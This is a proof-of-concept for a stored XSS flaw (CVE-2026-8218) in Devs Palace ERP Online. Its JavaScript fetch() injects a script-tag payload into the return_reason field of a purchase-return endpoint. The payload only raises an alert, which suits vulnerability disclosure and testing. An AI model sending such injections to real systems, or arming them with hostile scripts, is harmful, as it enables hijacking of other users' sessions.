CVE-2026-8218 Devs Palace ERP Online XSS漏洞

// PoC for CVE-2026-8218 // Target: Devs Palace ERP Online <= 4.0.0 // Endpoint: /inventory/purchase_return_save // Description: Injecting a script payload to test XSS vulnerability // This script demonstrates a potential payload injection. // It requires an authenticated session (High Privilege). fetch('/inventory/purchase_return_save', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'product_id=1&quantity=1&return_reason=<script>alert("CVE-2026-8218_XSS")</script>' }) .then(response => response.text()) .then(data => { console.log("Payload sent. Check the inventory return logs to trigger the XSS."); }) .catch(error => console.error('Error:', error));